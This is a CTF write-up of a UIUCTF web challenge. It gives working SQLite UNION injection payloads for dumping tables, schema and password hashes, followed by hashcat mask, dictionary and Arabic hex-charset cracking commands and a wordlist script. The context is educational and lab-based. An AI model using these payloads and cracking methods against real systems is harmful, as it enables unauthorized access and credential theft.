This weekend, I decided play in UIUCTF, an online event organized by the SIGPwny security group at The University of Illinois at Urbana-Champaign.
This post is a writeup of login_page, a 200-point web challenge.
In this event I went by the name “I am (G)root”, playing with a couple friends under the
team name “Isle Be Back”.
I got the first capture for this flag, although there was some technical issues that may have prevented another teaming from capping it before me.
From the description alone, my first thought was that this is probably a SQL injection challenge. From the description, I knew that the database in sqlite, which would be useful for creating a valid payload.
Going to the challenge link, I was presented with a very simple looking page.
I tried basic SQLi payloads on the login screen, like
" OR 1=1-- and similar. After those didnt’t appear to work, my attention was drawn to the ‘search for users’ link at the bottom of the page.
Trying to search ‘a’, I got 3 results: ‘alice’, ‘carl’, and ‘dania’.
This search appeared to be doing a partial match on the input text.
Based on this, my initial guess was that it was executing a SQL statement something like:
"SELECT username, bio FROM USERS WHERE username LIKE %" + search + "%"
To validate this, I then searched only for ‘%’. If the SQL query is structured how I thought it was, then that search should generate the query:
"SELECT username, bio FROM USERS WHERE username LIKE %%%"
As such, it would return every user in the database.
The output from the search confirmed my guess.
Next, I wanted to see whether this input could be injected.
If I entered just
" into the search, the app threw up an error, which suggested that the code was vulnerable to SQLi.
Knowing that I had an injection point, I then tried to find out more information about the database.
I hadn’t previously done many SQLi attacks against sqlite in particular, so I had to do a bit of research on this one.
This PDF contained exactly the payloads I needed.
First, I tried a basic UNION injection to see if I could get the names of the database tables.
%" UNION SELECT 1,group_concat(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite%' --
As seen in the screenshot, this was successful. There was a single table, called
Next, I wanted to get the names of the columns in the
users table, so I used this payload:
%" UNION SELECT 1,sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL and name NOT LIKE 'sqlite%' AND name='users'--
That gave me the following output:
Name Bio 1 CREATE TABLE users ( username text primary key not null, password_hash text not null, hint text not null, bio text not null) alice this is alice's bio bob this is bob's bio carl this is carl's bio dania this is dania's bio noob this is noob's bio
There were 4 columns in the table:
password_hash was obviously interesting, so I dumped those:
%" UNION SELECT username,password_hash FROM users--
Name Bio alice 530bd2d24bff2d77276c4117dc1fc719 alice this is alice's bio bob 4106716ae604fba94f1c05318f87e063 bob this is bob's bio carl 661ded81b6b99758643f19517a468331 carl this is carl's bio dania 58970d579d25f7288599fcd709b3ded3 dania this is dania's bio noob 8553127fedf5daacc26f3b677b58a856 noob this is noob's bio
In addition to the hashes, the
hint column stuck out to me:
%" UNION SELECT username,hint FROM USERS--
alice My phone number (format: 000-000-0000) alice this is alice's bio bob My favorite 12 digit number (md5 hashed for extra security) [starts with a 1] bob this is bob's bio carl My favorite Greek God + My least favorite US state (no spaces) carl this is carl's bio dania this is dania's bio dania الحيوان المفضل لدي (6 حروف فقط) noob noob this is noob's bio
Note that the arabic characters here are in the wrong order. I think it’s a unicode RTL issue that happened when I was pasting it into markdown.
Hashing it out
Now that I had a hash and hint for each user, I needed to go through and crack each password hash. Based on the format of the hashes and the text of Bob’s password hint, I guessed that these were md5 hashes.
Before I pulled out hashcat, I pasted all the hashes into crackstation.net to see if I could get any easy wins. This immediately gave me noob’s password, “SoccerMom2007”. This password is also in rockyou.txt, so a simple dictionary attack would have also found it quickly.
Going back to the login page, this username and password gave me the the first part of the flag:
Alice’s hint is “My phone number (format: 000-000-0000)” When I captured this flag, however, I believe the format wasn’t listed, so I had to do a bit more work.
Since a phone number has a relatively small number of valid formats such as
xxxxxxxxxx, this can be brute forced using a mask attack in hashcat.
hashes.hcmask contained the following masks:
(,),-,?1?d?d?d?2?3?d?d?d?3?d?d?d?d ?d,-,?1?1?1?2?1?1?1?2?1?1?1?1 ?d,+?d?1?1?1?1?1?1?1?1?1?1 ?d,?1?1?1?1?1?1?1?1?1?1 ?d?d?d-?d?d?d?d ?d?d?d?d?d?d?d
These covered most common phone number formats, including 7-digit ones.
.\hashcat64.exe -m 0 -a 3 .\hashes.txt .\hashes.hcmask -O
After a few minutes, I got Alice’s password.
Once again, I logged in to get the next piece of the flag.
Bob’s password hint of “My favorite 12 digit number (md5 hashed for extra security)” was a bit misleading for me. At first, I thought that the reference to md5 was just a hint that the hashes stored in the database were md5 hashes.
After running a hashcat mask attack to try all 12 digit numbers, however, I realized that I read the hint wrong.
Bob’s password hint actually meant that the password itself is an md5 hash, so I used hashcat’s
.\hashcat64.exe -m 2600 -a 3 .\hashes.txt ?d?d?d?d?d?d?d?d?d?d?d?d -O
This got me the 10-digit number in question:
However, since Bob’s password is double hashed, I actually needed to take the md5 hash of that number:
echo -n 102420484096 | md5sum 5809be03c7cc31cdb12237d0bd718898 -
That successfully got me another part of the flag.
You have successfully logged in! Here's part 2 of the flag: h45h_63
Carl’s password hint is: “My favorite Greek God + My least favorite US state (no spaces)”
I don’t think there’s a premade wordlist for that, so I made a Python script to create one.
states.txt are just lists of Greek god names and US states that I found online.
out = open('god_states.txt', 'w') with open ('gods.txt', 'r') as gods: godlist = gods.readlines() with open('states.txt', 'r') as states: statelist = states.readlines() for god in godlist: for state in statelist: gs = god.rstrip()+state.rstrip()+"\n" print(gs) out.write(gs)
Now that I had my wordlist, I used it in a dictionary attack:
.\hashcat64.exe -m 0 -a 0 .\hashes.txt .\god_states.txt
As expected, this was correct password for Carl.
You have successfully logged in! Here's part 3 of the flag: 7_d4t_
That’s four parts down, one to go.
Dania’s password was the hardest to crack. Her password hint is in Arabic. Putting it to google translate, I saw that it means:
“My favorite animal (6 Arabic characters only)”
This one also was changed after I captured it. Initially, it only said “My favorite animal (6 letters only)”
Based on the fact that the hint was in Arabic, I still was able to guess that I probably wanted to try an Arabic password, even without the help of the additional clarification that was added later.
The indication that the password was only 6 characters suggested to me that a brute force attack might be the way to go here.
Cracking passwords that aren’t in the Latin alphabet proved to be surprisingly tricky. Thankfully, I found this very useful resource on that exact topic, specifically discussing brute forcing Arabic passwords in hashcat.
Even though I got the general gist of what to do from that article, I quickly ran into a problem: hashcat was estimating that the attack would take more than 12 hours on my PC. I was running this on my gaming PC, so it had a decent GPU. I needed a way to cut down on time it’d take to crack.
The way the attack works, each character of the password is actually composed of 2 character classes:
?2. This is because unicode characters are represented by 2 bytes instead of 1. Group 1 is the first byte, which acts as a prefix here. Arabic characters start around
d8 on the table. The example from the article takes prefixes from
db. Group 2 specifies the characters within that prefix.
To cut down on the search space, I needed to search fewer prefixes. Looking at the hex values of characters in Dania’s password hint and comparing those to the Unicode table, I inferred that alphabetic characters seemed to be around the start of the Arabic portion of the table.
Based on this information, I tried an attack using only
d9 as prefixes.
.\hashcat64.exe -a 3 -m 0 --hex-charset 58970d579d25f7288599fcd709b3ded3 -1 d8d9 -2 808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebf ?1?2?1?2?1?2?1?2?1?2?1?2 -O -w 3
This gave me a password within only a few seconds:
Copy-pasting that into the login page, I was able to log in and claim the 4th and final part of the flag!
You have successfully logged in! Here's part 4 of the flag: c45h}
Now that I had all the flag pieces, it was just a matter of putting them together.
When I tried to submit that, though, it didn’t work…
Since I was almost certain that I had the correct flag, I went on the UIUCTF Discord server and messaged the Modmail bot to confirm that I had the right flag.
It turns out that I did have the correct flag, and something was just set wrong on the organizers’ end. They fixed it immediately after I asked them about it, and I successfully got the first capture on the flag.
I really enjoyed doing this flag, and I appreciate the very fast response from the UIUCTF team about the technical issues with submitting it.
I went in expecting more of a SQLi challenge than a password cracking one, but it was a fun exercise in expanding my password cracking skills. The Arabic password was especially cool. I had never tried that technique before, and it’s very useful to know in case I run into non-latin passwords on a red team or something in the future.